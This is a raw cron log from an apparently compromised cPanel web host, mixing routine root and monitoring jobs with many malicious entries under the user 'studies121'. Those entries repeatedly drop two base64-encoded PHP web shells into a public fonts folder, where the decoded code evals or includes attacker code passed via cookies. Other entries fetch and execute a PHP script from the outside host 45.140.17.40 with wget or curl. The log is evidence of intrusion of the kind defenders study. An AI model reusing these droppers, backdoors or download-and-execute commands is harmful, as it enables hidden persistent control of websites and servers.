Sep 10 14:02:01 ip-184-168-122-23 CROND[20395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:02:01 ip-184-168-122-23 CROND[20397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:02:01 ip-184-168-122-23 CROND[20396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:03:01 ip-184-168-122-23 CROND[20492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:03:01 ip-184-168-122-23 CROND[20495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:03:01 ip-184-168-122-23 CROND[20496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:03:01 ip-184-168-122-23 CROND[20494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:04:01 ip-184-168-122-23 CROND[20587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:04:01 ip-184-168-122-23 CROND[20588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:04:01 ip-184-168-122-23 CROND[20590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:04:01 ip-184-168-122-23 CROND[20592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:04:01 ip-184-168-122-23 CROND[20594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:05:01 ip-184-168-122-23 CROND[20691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:05:01 ip-184-168-122-23 CROND[20695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:05:01 ip-184-168-122-23 CROND[20696]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 14:05:01 ip-184-168-122-23 CROND[20693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:05:01 ip-184-168-122-23 CROND[20698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:05:01 ip-184-168-122-23 CROND[20697]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:05:01 ip-184-168-122-23 CROND[20694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:06:01 ip-184-168-122-23 CROND[20815]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:06:01 ip-184-168-122-23 CROND[20819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:06:01 ip-184-168-122-23 CROND[20817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:06:01 ip-184-168-122-23 CROND[20818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:06:01 ip-184-168-122-23 CROND[20820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:07:01 ip-184-168-122-23 CROND[20933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:07:01 ip-184-168-122-23 CROND[20938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:07:01 ip-184-168-122-23 CROND[20940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:07:01 ip-184-168-122-23 CROND[20941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:08:01 ip-184-168-122-23 CROND[21108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:08:01 ip-184-168-122-23 CROND[21111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:08:01 ip-184-168-122-23 CROND[21112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:08:01 ip-184-168-122-23 CROND[21113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:08:01 ip-184-168-122-23 CROND[21110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:09:02 ip-184-168-122-23 CROND[21198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:09:02 ip-184-168-122-23 CROND[21200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:09:02 ip-184-168-122-23 CROND[21201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:09:02 ip-184-168-122-23 CROND[21203]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 14:09:02 ip-184-168-122-23 CROND[21202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:10:01 ip-184-168-122-23 CROND[21324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:10:01 ip-184-168-122-23 CROND[21325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:10:01 ip-184-168-122-23 CROND[21328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:10:01 ip-184-168-122-23 CROND[21333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:10:01 ip-184-168-122-23 CROND[21331]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:10:01 ip-184-168-122-23 CROND[21335]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:10:01 ip-184-168-122-23 CROND[21334]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:10:01 ip-184-168-122-23 CROND[21336]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 14:11:01 ip-184-168-122-23 CROND[21427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:11:01 ip-184-168-122-23 CROND[21428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:11:01 ip-184-168-122-23 CROND[21429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:11:01 ip-184-168-122-23 CROND[21430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:12:01 ip-184-168-122-23 CROND[21529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:12:01 ip-184-168-122-23 CROND[21530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:12:01 ip-184-168-122-23 CROND[21532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:12:01 ip-184-168-122-23 CROND[21534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:12:01 ip-184-168-122-23 CROND[21535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:13:01 ip-184-168-122-23 CROND[21625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:13:01 ip-184-168-122-23 CROND[21627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 14:13:01 ip-184-168-122-23 CROND[21628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:13:01 ip-184-168-122-23 CROND[21629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:14:01 ip-184-168-122-23 CROND[21816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 14:14:01 ip-184-168-122-23 CROND[21818]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 14:14:01 ip-184-168-122-23 CROND[21819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
